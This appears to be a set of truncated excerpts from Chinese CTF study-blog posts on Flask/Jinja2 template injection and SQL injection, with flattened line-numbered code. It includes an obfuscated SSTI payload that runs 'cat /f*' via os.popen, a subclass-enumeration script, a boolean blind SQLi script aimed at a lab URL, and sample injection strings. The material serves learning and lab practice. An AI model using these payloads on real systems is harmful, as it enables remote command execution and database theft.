继承关系父类和子类
子类调用父类下的其他子类
flask脚本没有办法直接执行python指令
object是父子关系的顶端,所有数据类型最终的父类都是objexct
12345678910111213141516171819202122232425262728293031#子类(父类)class A:passclass B(A):passclass C(B):passclass D(B):passc=C()#输出c当前所属的类C print(c.__class__) <class'__main__.C'> #输出类C的父类Bprint(c.__class__.__base__) <class'__main__.B'> # 输出类C的父类的父类的父类print(c.__class__.__base__.__base__.__base__)#显示当前类的所有父类print(c.__class__.__mro__) (<class '__main__.C'>, <class ' ...
其他师傅的payload,挺多情况可以用的{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}
或者用feijing
pip install fenjing 安装
可以直接输入python -m fenjing webui启动webui,指定参数并自动攻击
漏洞成因
渲染模版时,没有严格控制对用户的输入
使用了危险的模版,导致用户可以和flask程序进行交互
漏洞演示正常代码1234567891011121314151617181920212223from flask import Flask,render_template_string,requestapp=Flask(__name__)@app.route('/',methods=['GET'])#定义视图函数index()#读取index.html文件,将该模块内容进行渲染返回def index(): #静态提交 my_str='hello flyfish' my_age=18 #动态提交 my_word=request.args.get('flyfish') html_str=''' <html> <head><head> <body>{{str} ...
常用注入模块
文件读取
内建函数eval执行命令
os模块执行命令
importlib类执行命令
linecache函数执行命令
subproces.Popen类执行命令
文件读取查找子类_frozen_importlib_external.FileLoader
查看文件读取函数脚本
12345678910111213141516171819202122import requests# 获取用户输入的URL地址url = input('请输入URL链接:')# 循环500次进行请求for i in range(500): # name根据提交的内容修改 # <input type="text" name="name" value=""> 这里根据""内的内容修改 data = {"name": "{{().__class__.__base__.__subclasses__()[" + s ...
视图函数作用:生成请求的响应
视图函数只处理业务逻辑和数据处理
使用模版使用静态的页面html展示动态的内容
Flask模版作用:取得视图函数的数据进行展示,返回响应内容
render_template**作用:**加载html文件。默认文件路径再templates目录
1234567891011121314151617181920212223242526272829303132333435363738394041from flask import Flask,render_templateapp=Flask(__name__)@app.route('/',methods=['GET'])#定义视图函数index()#读取index.html文件,将该模块内容进行渲染返回def index(): #静态提交 my_str='hello flyfish' my_age=18 #动态提交 my_word=request.args.get('flyfish') #render template函数将my_str ...
Flask基本架构1234567891011121314151617from flask import Flask #启动flask模块,创建一个Flask类app = Flask(__name__) #__name__是系统变量,指的是本py文件的文件名@app.route('/FLYFISH') #@app.route() 是一个装饰器,用于定义 URL 路由规则#'/' 表示网站的根路径(首页)#路由 基于浏览器输入的字符串寻址,当用户访问根路径时,Flask 会调用 被装饰的函数来处理请求 def hello(): return "hello FLYFISH"#视图函数 hello() 处理来自客户端的请求,返回的字符串会作为 HTTP 响应内容发送给浏览器if __name__=='__main__': app.run(debug=True) #if __name__ == '__main__' 确保只有在直接运行该脚本时才会启动服务器#app ...
许久没有看sql又忘记怎么判断数字型注入和字符型注入 了
直接使用?id=2-1如果正确显示说明是数字型若不正确则可能是字符型
首先,要区分不同类型注入数据库中语句的不同
1234567数字型注入select * from xxx where id= ID ; // ID是输入的内容,可以注意到ID前后没有 ''和""这种类型的符号,因此可以直接注入字符型注入select * from xxx where id= 'ID' ; //可以注意到ID前后有',因此在输入时如果用-- +屏蔽了后面的'必须要在语句中加入',才可以与前面的'闭合select * from xxx where id= "ID";//与上面情况相同,ID前后有"",所以如果屏蔽了后放的",必须要在语句中加入",与前面的"闭合
以下是突然想起来的一个问题
注入方式
正确性
原理
1' ORDER BY 3 --
✅
...
SQL注入分类:
回显正常—> 联合查询 union select
回显报错–>报错注入:
extractvalue()
updatexml()
floor(rand()\*2)
盲注:
布尔盲注
时间盲注
SQL联合查询必备条件:1、界面能够回显数据库查询到的数据(必要条件);2、界面回显内容至少能够显示数据库中的某列数据(必要条件);3、部分能够直接提供数据库报错内容的回显;
MYSQL数据库注入-常用函数:(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号
(2)version() 返回当前数据库的版本
(3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到
(4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串
(5)@@datadir 数据库路径
(6)@@version_compile_os 操作系统版本
SQL(联合)注入流程:?id=1 and 1=11、判断有无闭合 and 1=1 and 1 ...
GET提交布尔盲注脚本123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143# boolean_blind.pyimport requests# 配置区(必须修改)target_url = "http://f869feaa-0f94-4c32-82b1-4bef94ce759d.node5.buuoj.cn/Less-8/"params = {"id": &q ...
SQL注入分类:
回显正常—> 联合查询 union select
回显报错–>报错注入:
extractvalue()
updatexml()
floor(rand()\*2)
盲注:
布尔盲注
时间盲注
DNSlog注入
SQL盲注概述原理
核心问题:应用程序存在SQL注入漏洞,但无法直接返回查询结果或错误信息(如页面无数据回显)。
攻击逻辑:通过构造条件语句,观察页面的 布尔状态(True/False) 或 时间延迟(Time Delay),间接推断数据库信息(如字段值、表名、数据库版本)。
适用场景
布尔盲注:页面响应有明显差异(如内容存在/消失、HTTP状态码变化)。
时间盲注:页面响应无差异,但可通过注入时间函数触发延迟(如SLEEP(5))。
布尔盲注(Boolean-Based Blind SQL Injection)原理与特点
原理:通过构造布尔条件(如AND 1=1或AND 1=2),根据页面是否返回预期结果(真/假状态)推断数据。
特点
依赖页面响应差异(如登录成功/失败、内容显示/ ...











